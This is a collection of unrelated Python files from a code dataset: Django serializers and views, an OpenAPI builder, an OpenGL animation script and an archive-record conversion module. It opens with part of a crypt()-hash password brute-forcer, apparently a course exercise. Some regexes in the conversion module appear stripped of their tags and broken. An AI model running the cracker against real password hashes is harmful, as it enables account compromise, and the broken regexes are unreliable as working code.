list(pw).copy()\n for n in range(len(tmp)):\n tmp[n] = chr(ord(tmp[n]) + index[n])\n key = \"\".join(tmp)\n\n # Gemerate hash from shifted password\n gen = \"\".join(crypt.crypt(key, var_salt))\n\n # Check if hash generated matches user input\n if gen == var_hash:\n print(key)\n sys.exit(0)\n\n\ndef crack(pw, var_hash, var_salt):\n \"\"\"Create nested loop and call check function\"\"\"\n\n index = [0, 0, 0, 0, 0]\n if len(pw) >= 1:\n for i in range(ALPHALEN):\n index[0] = i\n if len(pw) == 1:\n check(pw, var_hash, var_salt, index)\n\n if len(pw) >= 2:\n for j in range(ALPHALEN):\n index[1] = j\n if len(pw) == 2:\n check(pw, var_hash, var_salt, index)\n\n if len(pw) >= 3:\n for k in range(ALPHALEN):\n index[2] = k\n if len(pw) == 3:\n check(pw, var_hash, var_salt, index)\n\n if len(pw) >= 4:\n for l in range(ALPHALEN):\n index[3] = l\n if len(pw) == 4:\n check(pw, var_hash, var_salt, index)\n\n if len(pw) >= 5:\n for m in range(ALPHALEN):\n index[4] = m\n if len(pw) == 5:\n check(pw, var_hash, var_salt, index)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"crack/crack.py","file_name":"crack.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"311551320","text":"from django.contrib.auth.models import User\nfrom rest_framework import serializers\n\nfrom rest_framework.serializers import ModelSerializer\n\nfrom meetings.models import Meeting\n\nclass MeetingSerializer(ModelSerializer):\n\n class Meta:\n model = Meeting\n fields = ('id', 'created', 'sinceWhen', 'tilWhen', 'user')\n read_only_fields = ('user',)\n\n def validate(self, attrs):\n since = attrs['sinceWhen']\n til = attrs['tilWhen']\n if since >= til:\n raise serializers.ValidationError(\"til is eariler\")\n for item in Meeting.objects.all():\n if self.instance is not None and self.instance.id==item.id:\n continue\n if not (since>=item.tilWhen or til<=item.sinceWhen):\n raise serializers.ValidationError(\"meeting is overlapped\")\n return attrs\n\nclass UserSerializer(ModelSerializer):\n meetings = serializers.PrimaryKeyRelatedField(many=True, queryset=Meeting.objects.all())\n\n class Meta:\n model = User\n fields = ('id', 'username', 'meetings')","sub_path":"meetings/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"182632927","text":"deposito_inicial = float(input(\"Depósito inicial: \"))\ndeposito_mensal = float(input(\"Depósito mensal: \"))\ntaxa_de_juros = float(input(\"Taxa de juros: \"))\n\nmes = 0\nwhile mes <= 24:\n total = deposito_inicial + mes*deposito_mensal*(taxa_de_juros/100)\n mes += 1\n if mes > 1:\n print(\"Saldo do mês {0} é de R${1:.2f}\".format(mes, total))\n \nprint (\"R${0:.2f}\".format(total-deposito_inicial))","sub_path":"backup/user_001/ch35_2019_06_05_15_15_23_715830.py","file_name":"ch35_2019_06_05_15_15_23_715830.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"423805071","text":"from typing import List, Optional\n\nfrom .path import OpenApiPath\nfrom .schema import get_openapi_schema, get_openapi_type\nfrom .security import OpenApiSecurity\n\n\nclass OpenApi():\n '''Object to represent an OpenApi specification as defined on\n https://swagger.io/docs/specification/about/\n\n Args:\n title (str): Title of your Api\n paths (List[OpenApiPath]): List of OpenApiPaths that are part of this Api\n security Optional[OpenApiSecurity]: Optional OpenApiSecurity defining authentication options for this Api\n '''\n version = '3.0.2'\n title = None\n paths = None\n security = None\n\n def __init__(self,\n title: str,\n paths: List[OpenApiPath],\n security: Optional[OpenApiSecurity] = None):\n '''\n\n '''\n self.title = title\n self.paths = paths\n self.security = security\n\n def as_dict(self) -> dict:\n '''\n Returns:\n dict: dict representing this object as an OpenApi specification.\n '''\n openapi_dict = {\n 'openapi': self.version,\n 'info': {\n 'title': self.title,\n 'version': self.version\n },\n 'paths': {\n },\n 'components': {\n 'schemas': {}\n }\n }\n for openapi_path in self.paths:\n if openapi_dict['paths'].get(openapi_path.path) is None:\n openapi_dict['paths'][openapi_path.path] = {}\n openapi_dict['paths'][openapi_path.path].update(\n openapi_path.as_dict()[openapi_path.path])\n\n if openapi_path.request_body:\n if get_openapi_type(openapi_path.request_body) == 'object':\n openapi_dict['components']['schemas'].update(\n get_openapi_schema(openapi_path.request_body, reference=False)\n )\n\n for param in openapi_path.params:\n if get_openapi_type(param.data_type) == 'object':\n openapi_dict['components']['schemas'].update(\n get_openapi_schema(param.data_type, reference=False)\n )\n\n for resp in openapi_path.responses:\n if get_openapi_type(resp.data_type) == 'object':\n openapi_dict['components']['schemas'].update(\n get_openapi_schema(resp.data_type, reference=False)\n )\n if self.security:\n openapi_dict['security'] = self.security.get_security_reference()\n openapi_dict['components']['securitySchemes'] = self.security.as_dict()\n\n return openapi_dict\n","sub_path":"openapi_specgen/openapi.py","file_name":"openapi.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"565606813","text":"# Create your views here.\nfrom django.shortcuts import render_to_response, get_object_or_404\n\nfrom django.template.context import RequestContext\nfrom portfolio.models import Portfolio\nfrom artistas.models import Artista\n\ndef portfolios(request,template_name):\n usuario=request.user\n url=str(request.get_full_path())\n pagina=url[1:-1]\n portfolios = Portfolio.objects.all().order_by('-atualizado_em')\n\n return render_to_response(template_name, locals(), context_instance=RequestContext(request))\n\ndef portfolio(request,template_name,portfolio_slug):\n usuario=request.user\n url=str(request.get_full_path())\n nome_pagina=url[1:-1]\n pagina=nome_pagina.rpartition('/')[0]\n noticia = nome_pagina.rpartition('/')[2]\n \n portfolio = get_object_or_404(Portfolio, slug=portfolio_slug)\n galerias=portfolio.galeria_set.all()\n sites=portfolio.site_set.all()\n videos=portfolio.video_set.all()\n fotos_extras = portfolio.foto_set.all()\n \n #print galerias\n fotos=[]\n for f in galerias:\n fotos = f.galeria.photos.all() \n #print fotos\n \n #trabalhos = portfolio.trabalho.all().order_by('-atualizado_em')\n # galerias=\"\"\n #for i in trabalhos:\n # galerias = i.galeria.all()\n \n \n \n #trabalhos = Portfolio.objects.\n #ps=Portfolio.objects.filter(artista__slug__exact=artista_slug)#pega os portfolio somente do artista\n #p=Portfolio.objects.filter(artista__nome__exact='Lorem Ipsum')\n# for i in ps:\n# if i.genero=='V':\n# print \"V\"\n# print i\n portfolios_recentes = Portfolio.objects.all().order_by('-atualizado_em')\n \n return render_to_response(template_name, locals(), context_instance=RequestContext(request))","sub_path":"portfolio/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"241075160","text":"import os\nimport time\n\nimport TextureLoader\nimport objLoader\nimport test\nimport glfw\nfrom OpenGL.GL import *\nfrom OpenGL.GL.shaders import compileProgram, compileShader\nfrom OpenGL.raw.GL.VERSION.GL_1_5 import GL_STATIC_DRAW\nimport pyrr\nfrom OpenGL.raw.GL.VERSION.GL_1_0 import GL_BLEND, GL_ONE_MINUS_SRC_ALPHA\nfrom pyrr import Vector3, vector, vector3, matrix44\nfrom math import sin, cos, radians\nfrom objLoader import ObjLoader\n\nos.environ['SDL_VIDEO_WINDOW_POS'] = '400,200'\n\n\n# 两脚之间的后面为(0,0,0)\n\n\ndef background2(_texture):\n try:\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n glEnable(GL_COLOR_MATERIAL)\n glBegin(GL_QUADS)\n glColor4f(0.25, 0.25, 0.25, 0.8)\n glVertex3d(-256, -256, 0)\n glColor4f(0.25, 0.25, 0.25, 0.8)\n glVertex3d(256, -256, 0)\n glColor4f(0.25, 0.25, 0.25, 0.8)\n glVertex3d(256, 256, 0)\n glColor4f(0.25, 0.25, 0.25, 0.8)\n glVertex3d(-256, 256, 0)\n glEnd()\n glFlush()\n except Exception as e:\n print(e)\n\n\ndef background(_texture):\n glEnable(GL_TEXTURE_2D)\n glBindTexture(GL_TEXTURE_2D, _texture)\n\n glBegin(GL_QUADS)\n glTexCoord2d(0, 0)\n glVertex3d(-5, -5, -5)\n glTexCoord2d(1, 0)\n glVertex3d(5, -5, -5)\n glTexCoord2d(1, 1)\n glVertex3d(5, 5, -5)\n glTexCoord2d(0, 1)\n glVertex3d(-5, 5, -5)\n glEnd()\n\n glBegin(GL_QUADS)\n glTexCoord2d(0, 0)\n glVertex3d(-5, -5, 5)\n glTexCoord2d(1, 0)\n glVertex3d(5, -5, 5)\n glTexCoord2d(1, 1)\n glVertex3d(5, 5, 5)\n glTexCoord2d(0, 1)\n glVertex3d(-5, 5, 5)\n glEnd()\n\n glBegin(GL_QUADS)\n glTexCoord2d(0, 0)\n glVertex3d(-5, -5, -5)\n glTexCoord2d(1, 0)\n glVertex3d(5, -5, -5)\n glTexCoord2d(1, 1)\n glVertex3d(5, -5, 5)\n glTexCoord2d(0, 1)\n glVertex3d(-5, -5, 5)\n glEnd()\n\n glBegin(GL_QUADS)\n glTexCoord2d(0, 0)\n glVertex3d(-5, 5, -5)\n glTexCoord2d(1, 0)\n glVertex3d(5, 5, -5)\n glTexCoord2d(1, 1)\n glVertex3d(5, 5, 5)\n glTexCoord2d(0, 1)\n glVertex3d(-5, 5, 5)\n glEnd()\n\n glBegin(GL_QUADS)\n glTexCoord2d(0, 0)\n glVertex3d(-5, -5, -5)\n glTexCoord2d(1, 0)\n glVertex3d(-5, 5, -5)\n glTexCoord2d(1, 1)\n glVertex3d(-5, 5, 5)\n glTexCoord2d(0, 1)\n glVertex3d(-5, -5, 5)\n glEnd()\n\n glBegin(GL_QUADS)\n glTexCoord2d(0, 0)\n glVertex3d(5, -5, -5)\n glTexCoord2d(1, 0)\n glVertex3d(5, 5, -5)\n glTexCoord2d(1, 1)\n glVertex3d(5, 5, 5)\n glTexCoord2d(0, 1)\n glVertex3d(5, -5, 5)\n glEnd()\n\n\nclass Camera:\n def __init__(self):\n self.camera_pos = Vector3([0.0, 4.0, 3.0])\n self.camera_front = Vector3([0.0, 0.0, -1.0])\n self.camera_up = Vector3([0.0, 1.0, 0.0])\n self.camera_right = Vector3([1.0, 0.0, 0.0])\n\n self.mouse_sensitivity = 0.25\n self.jaw = -90\n self.pitch = 0\n\n def get_view_matrix(self):\n return matrix44.create_look_at(self.camera_pos, self.camera_pos + self.camera_front, self.camera_up)\n\n def process_mouse_movement(self, xoffset, yoffset, constrain_pitch=True):\n xoffset *= self.mouse_sensitivity\n yoffset *= self.mouse_sensitivity\n\n self.jaw += xoffset\n self.pitch += yoffset\n\n if constrain_pitch:\n if self.pitch > 45:\n self.pitch = 45\n if self.pitch < -45:\n self.pitch = -45\n\n self.update_camera_vectors()\n\n def update_camera_vectors(self):\n front = Vector3([0.0, 0.0, 0.0])\n front.x = cos(radians(self.jaw)) * cos(radians(self.pitch))\n front.y = sin(radians(self.pitch))\n front.z = sin(radians(self.jaw)) * cos(radians(self.pitch))\n\n self.camera_front = vector.normalise(front)\n self.camera_right = vector.normalise(vector3.cross(self.camera_front, Vector3([0.0, 1.0, 0.0])))\n self.camera_up = vector.normalise(vector3.cross(self.camera_right, self.camera_front))\n\n # Camera method for the WASD movement\n def process_keyboard(self, direction, velocity):\n if direction == \"FORWARD\":\n self.camera_pos += self.camera_front * velocity\n if direction == \"BACKWARD\":\n self.camera_pos -= self.camera_front * velocity\n if direction == \"LEFT\":\n self.camera_pos -= self.camera_right * velocity\n if direction == \"RIGHT\":\n self.camera_pos += self.camera_right * velocity\n\n\ncam = Camera()\nWIDTH, HEIGHT = 1080, 680\nlastX, lastY = WIDTH / 2, HEIGHT / 2\nfirst_mouse = True\nleft, right, forward, backward = False, False, False, False\n\n\n# the keyboard input callback\ndef key_input_clb(window, key, scancode, action, mode):\n global left, right, forward, backward\n if key == glfw.KEY_ESCAPE and action == glfw.PRESS:\n glfw.set_window_should_close(window, True)\n\n if key == glfw.KEY_W and action == glfw.PRESS:\n forward = True\n elif key == glfw.KEY_W and action == glfw.RELEASE:\n forward = False\n if key == glfw.KEY_S and action == glfw.PRESS:\n backward = True\n elif key == glfw.KEY_S and action == glfw.RELEASE:\n backward = False\n if key == glfw.KEY_A and action == glfw.PRESS:\n left = True\n elif key == glfw.KEY_A and action == glfw.RELEASE:\n left = False\n if key == glfw.KEY_D and action == glfw.PRESS:\n right = True\n elif key == glfw.KEY_D and action == glfw.RELEASE:\n right = False\n # if key in [glfw.KEY_W, glfw.KEY_S, glfw.KEY_D, glfw.KEY_A] and action == glfw.RELEASE:\n # left, right, forward, backward = False, False, False, False\n\n\n# do the movement, call this function in the main loop\ndef do_movement():\n if left:\n cam.process_keyboard(\"LEFT\", 0.05)\n if right:\n cam.process_keyboard(\"RIGHT\", 0.05)\n if forward:\n cam.process_keyboard(\"FORWARD\", 0.05)\n if backward:\n cam.process_keyboard(\"BACKWARD\", 0.05)\n\n\n# the mouse position callback function\ndef mouse_look_clb(window, xpos, ypos):\n global first_mouse, lastX, lastY\n\n if first_mouse:\n lastX = xpos\n lastY = ypos\n first_mouse = False\n\n xoffset = xpos - lastX\n yoffset = lastY - ypos\n\n lastX = xpos\n lastY = ypos\n\n cam.process_mouse_movement(xoffset, yoffset)\n\n\nvertex_src = \"\"\"\n# version 330 core\n\nlayout(location = 0) in vec3 a_position;\nlayout(location = 1) in vec2 a_texture;\n\nuniform mat4 model;\nuniform mat4 projection;\nuniform mat4 view;\n\nout vec3 v_color;\nout vec2 v_texture;\n\nvoid main()\n{\n gl_Position = projection * view * model * vec4(a_position,1.0);\n v_texture = a_texture;\n}\n\"\"\"\n\nfragment_src = \"\"\"\n# version 330 core\n\nin vec2 v_texture;\n\nout vec4 out_color;\n\nuniform sampler2D s_texture;\n\nvoid main()\n{\n out_color = vec4(200.0, 0.0, 100.0, 1.0);\n}\n\"\"\"\n\n\ndef window_resize(window, width, height):\n glViewport(0, 0, width, height)\n projection = pyrr.matrix44.create_perspective_projection_matrix(45, width / height, 0.1, 100)\n glUniformMatrix4fv(proj_loc, 1, GL_FALSE, projection)\n\n\ndef matrixMulpiple(matrixList):\n result = pyrr.matrix44.create_identity()\n for matrix in matrixList:\n result = pyrr.matrix44.multiply(result, matrix)\n return result\n\n\ndef draw(VAO, matrix, model_loc, indices):\n glBindVertexArray(VAO)\n glUniformMatrix4fv(model_loc, 1, GL_FALSE, matrix)\n # glDrawElements(GL_TRIANGLES, len(indices), GL_UNSIGNED_INT, None)\n glDrawArrays(GL_TRIANGLES, 0, len(indices))\n\n\nif not glfw.init():\n raise Exception(\"glfw init warning\")\n\nwindow = glfw.create_window(1920, 1080, \"openGl window\", None, None)\n\nif not window:\n glfw.terminate()\n raise Exception(\"window creating fail\")\n\nglfw.set_window_pos(window, 0, 0)\nglfw.set_window_size_callback(window, window_resize)\n# set the mouse position callback\nglfw.set_cursor_pos_callback(window, mouse_look_clb)\n# set the keyboard input callback\nglfw.set_key_callback(window, key_input_clb)\n# capture the mouse cursor\nglfw.set_input_mode(window, glfw.CURSOR, glfw.CURSOR_DISABLED)\n\nglfw.make_context_current(window)\n\n# 两参数,vertex shaders—�?�它们可以处理顶点数据;以及fragment shaders,它们处理光栅化后生成的fragments�?\nshader = compileProgram(compileShader(vertex_src, GL_VERTEX_SHADER), compileShader(fragment_src, GL_FRAGMENT_SHADER))\n\nk_size = 29\n\nVAO = glGenVertexArrays(k_size)\nVBO = glGenBuffers(k_size)\nEBO = glGenBuffers(k_size)\nindices = []\nbuffers = []\n\nfor i in range(0, k_size):\n human_indices, human_buffer = ObjLoader.load_model('model/' + str(i) + '.obj')\n indices.append(human_indices)\n buffers.append(human_buffer)\n\n glBindVertexArray(VAO[i])\n glBindBuffer(GL_ARRAY_BUFFER, VBO[i])\n glBufferData(GL_ARRAY_BUFFER, human_buffer.nbytes, human_buffer, GL_STATIC_DRAW)\n glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, EBO[i])\n glBufferData(GL_ELEMENT_ARRAY_BUFFER, human_buffer.nbytes, human_buffer, GL_STATIC_DRAW)\n\n glEnableVertexAttribArray(0)\n glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, human_buffer.itemsize * 8, ctypes.c_void_p(0))\n\n glEnableVertexAttribArray(1)\n glVertexAttribPointer(1, 2, GL_FLOAT, GL_FALSE, human_buffer.itemsize * 8, ctypes.c_void_p(12))\n\n glEnableVertexAttribArray(2)\n glVertexAttribPointer(2, 3, GL_FLOAT, GL_FALSE, human_buffer.itemsize * 8, ctypes.c_void_p(20))\n# arms indices\n# right lower: 15\n# right upper: 14\n# right joint upper: 13\n# right joint lower: 12\n# right hand: 11\n# right shoulder: 10\n# left lower: 4\n# left upper: 5\n# left joint upper: 6\n# left joint lower: 7\n# left hand: 8\n# left shoulder: 9\n\n# [shoulder, upper, joint_0, lower, joint_1, hand]\nright_arm = [10, 14, 13, 15, 12, 11]\nleft_arm = [9, 5, 6, 4, 7, 8]\n\nglUseProgram(shader)\n# RGB上限�?1\nglClearColor(1, 1, 1, 1)\n\n# 启动遮罩\nglEnable(GL_DEPTH_TEST)\nglEnable(GL_BLEND)\nglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\n\n# param float fovy: field of view in y direction in degrees非零\n# param float aspect: aspect ratio of the view (width / height)\n# param float near: distance from the viewer to the near clipping plane (only positive)\n# param float far: distance from the viewer to the far clipping plane (only positive)\nprojection = pyrr.matrix44.create_perspective_projection_matrix(45, 1080 / 860, 0.1, 100)\n\nmodel_loc = glGetUniformLocation(shader, \"model\")\nproj_loc = glGetUniformLocation(shader, \"projection\")\nview_loc = glGetUniformLocation(shader, \"view\")\n\nglUniformMatrix4fv(proj_loc, 1, GL_FALSE, projection)\nscale = pyrr.Matrix44.from_scale(pyrr.Vector3([0.01, 0.01, 0.01]))\nrot_z = pyrr.matrix44.create_from_x_rotation(3.14 / 2)\nmodel = pyrr.matrix44.multiply(rot_z, scale)\ncj0 = pyrr.Vector4([0, 10.5, 0, 1.0])\n\nwhile not glfw.window_should_close(window):\n\n # 让鼠标可以用\n glfw.poll_events()\n do_movement()\n view = cam.get_view_matrix()\n\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\n # 可以添加手中物品\n\n # camX = math.sin(glfw.get_time()) * 20\n # camZ = math.cos(glfw.get_time()) * 20\n #\n # view = pyrr.matrix44.create_look_at(pyrr.Vector3([camX, 15.0, camZ]),\n # pyrr.Vector3([0.0 , 0.0, 0.0]),\n # pyrr.Vector3([0.0 , 1.0, 0.0]))\n glUniformMatrix4fv(view_loc, 1, GL_FALSE, view)\n\n rot = 0\n\n t = (glfw.get_time() * 2) % 10.0\n\n fall = (t - 5) * (t - 5) * (t - 5) / 3\n if fall < 0:\n fall = 0\n if fall > 15:\n fall = 15\n\n if t < 2.5:\n rot = t * t * t / 2.5 / 2.5\n elif t < 5:\n rot = 2.5\n elif t < 7.5:\n rot = 2.5 - (t - 5) * (t - 5) * (t - 5) / 2.5 / 2.5\n\n for i in range(k_size):\n if i not in right_arm and i not in left_arm:\n if i == 0:\n draw(VAO[i], model, model_loc, indices[i])\n x = glGenTextures(1)\n texture = TextureLoader.load_texture('D:\\pythonProject\\\\textures\\ground.jpg', x)\n background2(texture)\n draw(VAO[i], model, model_loc, indices[i])\n\n\n leftBigHandMatrix = matrixMulpiple([\n # pyrr.matrix44.create_from_scale(pyrr.Vector3([0.5, 5, 0.5])),\n model,\n pyrr.matrix44.create_from_translation(pyrr.Vector3([0, -13.5, 0])),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([5.0, 1.0, 0]), -1 * rot),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([0, 0, 5.0]), -0.1 * rot),\n pyrr.matrix44.create_from_translation(pyrr.Vector3([0, 13.5, 0])),\n # pyrr.matrix44.create_from_translation(pyrr.Vector3([-1.5, 3.5, 0]))\n ])\n for i in range(0, 3):\n draw(VAO[left_arm[i]], leftBigHandMatrix, model_loc, indices[left_arm[i]])\n # draw(VAO[left_arm[2]], leftBigHandMatrix, model_loc, indices[left_arm[2]])\n\n rightBigHandMatrix = matrixMulpiple([\n # pyrr.matrix44.create_from_scale(pyrr.Vector3([0.5, 5, 0.5])),\n pyrr.matrix44.create_from_translation(pyrr.Vector3([0, -13.5, 0])),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([5.0, -1.0, 0]), -1 * rot),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([0, 0, 5.0]), 0.1 * rot),\n pyrr.matrix44.create_from_translation(pyrr.Vector3([0, 13.5, 0])),\n # pyrr.matrix44.create_from_translation(pyrr.Vector3([1.5, 3.5, 0]))\n ])\n for i in range(0, 3):\n draw(VAO[right_arm[i]], pyrr.matrix44.multiply(model, rightBigHandMatrix), model_loc, indices[right_arm[i]])\n # draw(VAO[right_arm[2]], pyrr.matrix44.multiply(rightBigHandMatrix, model), model_loc, indices[right_arm[2]])\n result = matrixMulpiple([pyrr.matrix44.create_from_translation(pyrr.Vector3([0, -13.5, 0])),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([5.0, 0, 0]), -0.98 * rot),\n pyrr.matrix44.create_from_translation(pyrr.Vector3([0, 13.5, 0])), ])\n center = pyrr.matrix44.apply_to_vector(result, cj0)\n\n leftSmallHandMatrix = matrixMulpiple([\n # pyrr.matrix44.create_from_scale(pyrr.Vector3([0.5, 5, 0.5])),\n model,\n pyrr.matrix44.create_from_translation(pyrr.Vector3([0, -13.5, 0])),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([0.75, 0, 0]), -0.8 * rot),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([0, 0.75, 0]), -0.1 * rot),\n pyrr.matrix44.create_from_translation(pyrr.Vector3([0, 13.5, 0])),\n pyrr.matrix44.create_from_translation(-center),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([5.0, 0, 0]), -1 * rot),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([0, 0, 5.0]), -0.1 * rot),\n pyrr.matrix44.create_from_translation(center)\n ])\n for i in range(3, 6):\n draw(VAO[left_arm[i]], leftSmallHandMatrix, model_loc, indices[left_arm[i]])\n\n rightSmallHandMatrix = matrixMulpiple([\n # pyrr.matrix44.create_from_scale(pyrr.Vector3([0.5, 5, 0.5])),\n model,\n pyrr.matrix44.create_from_translation(pyrr.Vector3([0, -13.5, 0])),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([0.75, 0, 0]), -0.8 * rot),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([0, 0.75, 0]), 0.1 * rot),\n pyrr.matrix44.create_from_translation(pyrr.Vector3([0, 13.5, 0])),\n pyrr.matrix44.create_from_translation(-center),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([5.0, 0, 0]), -1 * rot),\n pyrr.matrix44.create_from_axis_rotation(pyrr.Vector3([0, 0, 5.0]), 0.1 * rot),\n pyrr.matrix44.create_from_translation(center)\n ])\n for i in range(3, 6):\n draw(VAO[right_arm[i]], rightSmallHandMatrix, model_loc, indices[right_arm[i]])\n # draw(VAO[right_arm[3]], rightSmallHandMatrix, model_loc, indices[right_arm[3]])\n # draw(VAO[right_arm[3]], rightSmallHandMatrix, model_loc, indices[right_arm[3]])\n # BallMatrix = matrixMulpiple([\n # # pyrr.matrix44.create_from_scale(pyrr.Vector3([1,1,1])),\n # scale,\n # pyrr.matrix44.create_from_translation(pyrr.Vector3([0, 7.5-fall*0.7, fall/1.2]))\n # ])\n # draw(VAO, BallMatrix, model_loc, indices)\n\n glfw.swap_buffers(window)\n\nglfw.terminate()\n","sub_path":"p9.py","file_name":"p9.py","file_ext":"py","file_size_in_byte":16054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"447874345","text":"#!/usr/bin/env python\r\n# -*- coding: utf8 -*-\r\n\r\n\"\"\"Main module for iams2rf.\"\"\"\r\n\r\n# Import required modules\r\n# These should all be contained in the standard library\r\nfrom collections import OrderedDict\r\nimport datetime\r\nimport gc\r\nimport locale\r\nimport os\r\nimport re\r\nimport sqlite3\r\nimport sys\r\nimport unicodedata\r\n\r\n__author__ = 'Victoria Morris'\r\n__license__ = 'MIT License'\r\n__version__ = '1.0.0'\r\n__status__ = '4 - Beta Development'\r\n\r\n# Set locale to assist with sorting\r\nlocale.setlocale(locale.LC_ALL, '')\r\n\r\n# Set threshold for garbage collection (helps prevent the program run out of memory)\r\ngc.set_threshold(400, 5, 5)\r\n\r\n# ====================\r\n# Regular expressions\r\n# ====================\r\n\r\nRE_IAMS_ID = re.compile('0[34][0-9]-[0-9]{9}')\r\n\r\nREGEXES = {\r\n 'rel_name': re.compile(\r\n '' +\r\n '(.*?).*?'),\r\n 'rel_auth': re.compile(''),\r\n 'rel_arch': re.compile(\r\n '' +\r\n '(.*?)' +\r\n '(.*?).*?'),\r\n 'c_name': re.compile(\r\n '.*?]*>(.*?).*?' +\r\n 'Authorised.*?'),\r\n 'c_qualifiers': re.compile(\r\n '.*?]*>(.*?).*?' +\r\n 'Authorised.*?'),\r\n 'c_jurisdiction': re.compile(\r\n '.*?]*>(.*?).*?' +\r\n 'Authorised.*?'),\r\n 'c_dates': re.compile(\r\n '.*?]*>(.*?).*?' +\r\n 'Authorised.*?'),\r\n 'f_surname': re.compile(\r\n '.*?]*>(.*?).*?Authorised.*?'),\r\n 'f_epithet': re.compile(\r\n '.*?]*>(.*?).*?Authorised.*?'),\r\n 'f_dates': re.compile(\r\n '.*?]*>(.*?).*?Authorised.*?'),\r\n 'p_surname': re.compile(\r\n '.*?]*>(.*?).*?Authorised.*?'),\r\n 'p_forename': re.compile(\r\n '.*?]*>(.*?).*?Authorised.*?'),\r\n 'p_title': re.compile(\r\n '.*?]*>(.*?).*?Authorised.*?'),\r\n 'p_epithet': re.compile(\r\n '.*?]*>(.*?).*?Authorised.*?'),\r\n 'p_dates': re.compile(\r\n '.*?]*>(.*?).*?Authorised.*?'),\r\n 'pl_name': re.compile('(.*?)'),\r\n 'pl_localUnit': re.compile(']*>(.*?)'),\r\n 'pl_widerUnit': re.compile(']*>(.*?)'),\r\n 'pl_country': re.compile(']*>(.*?)'),\r\n 's_text': re.compile(']*>(.*?)'),\r\n 's_type': re.compile(']*>(.*?)'),\r\n 'b_reference': re.compile(']*>(.*?)'),\r\n 'b_title': re.compile(']*>(.*?)'),\r\n 'AN': re.compile(\r\n '\\s*' +\r\n '(.*?)'),\r\n 'LA': re.compile(']*>(.*?)'),\r\n 'S_LANGUAGES': re.compile(''),\r\n 'SU': re.compile(''),\r\n 'TV': re.compile('[^<>]*?(.*?)<\\/A?Title>.*?<\\/AdditionalTitle>'),\r\n 'OI': re.compile('[^<>]*?(.*?)<\\/Value>.*?(.*?)<\\/Type>.*?<\\/ExternalIdentifier>'),\r\n 'isni': re.compile('[^<>]*?(.*?)<\\/Value>.*?[^<>]*?ISNI[^<>]*?<\\/Type>.*?<\\/ExternalIdentifier>'),\r\n 'viaf': re.compile('[^<>]*?(.*?)<\\/Value>.*?[^<>]*?VIAF[^<>]*?<\\/Type>.*?<\\/ExternalIdentifier>'),\r\n\r\n}\r\n\r\n# ====================\r\n# Lookup tables\r\n# ====================\r\n\r\nSTATUS = {\r\n '1': 'Draft',\r\n '3': 'Pending Deletion',\r\n '4': 'Published',\r\n '5': 'Deleted',\r\n '6': 'Loaded',\r\n '7': 'Approved',\r\n '8': 'Ready for Review',\r\n '9': 'Rejected',\r\n}\r\n\r\nTYPES = OrderedDict({\r\n '032': 'Fonds',\r\n '033': 'SubFonds',\r\n '034': 'SubSubFonds',\r\n '035': 'SubSubSubFonds',\r\n '036': 'Series',\r\n '037': 'SubSeries',\r\n '038': 'SubSubSeries',\r\n '039': 'SubSubSubSeries',\r\n '040': 'File',\r\n '041': 'Item',\r\n '042': 'SubItem',\r\n '043': 'SubSubItem',\r\n '044': 'SubSubSubItem',\r\n '045': 'Corporation',\r\n '046': 'Family',\r\n '047': 'Person',\r\n '048': 'Place',\r\n '049': 'Subject',\r\n})\r\n\r\n\r\n# ====================\r\n# Global variables\r\n# ====================\r\n\r\nTABLE_DEFINITIONS = {\r\n 'records': None,\r\n 'subjects': ([\r\n ('Topic', 'NTEXT'),\r\n ('TopicType', 'NTEXT')\r\n ]),\r\n 'names': ([\r\n ('Name', 'NTEXT'),\r\n ('NameDates', 'NTEXT'),\r\n ('NameType', 'NTEXT'),\r\n ('NameRole', 'NTEXT'),\r\n ('NameISNI', 'NTEXT'),\r\n ('NameVIAF', 'NTEXT')\r\n ]),\r\n 'titles': ([\r\n ('Title', 'NTEXT')\r\n ]),\r\n}\r\n\r\n# ====================\r\n# Classes\r\n# ====================\r\n\r\n\r\nclass Output:\r\n def __init__(self):\r\n self.values = OrderedDict([\r\n ('S_LANGUAGES', ['', 'COMPLEX']),\r\n ('S_DATE1', ['', '||StartDate']),\r\n ('S_DATE2', ['', '||EndDate']),\r\n ('_ID', ['N==BL record ID', 'COMPLEX']), # DIFFERS FROM STANDARD RF\r\n ('RT', ['N==Type of resource', 'COMPLEX']),\r\n ('CT', ['N==Content type', '']),\r\n ('MT', ['N==Material type', '']),\r\n ('BN', ['N==BNB number', '']),\r\n ('LC', ['N==LC number', 'COMPLEX']),\r\n ('OC', ['N==OCLC number', '']),\r\n ('ES', ['N==ESTC citation number', '']),\r\n ('AK', ['N==Archival Resource Key', '||MDARK']),\r\n ('IB', ['N==ISBN', '']),\r\n ('_IS', 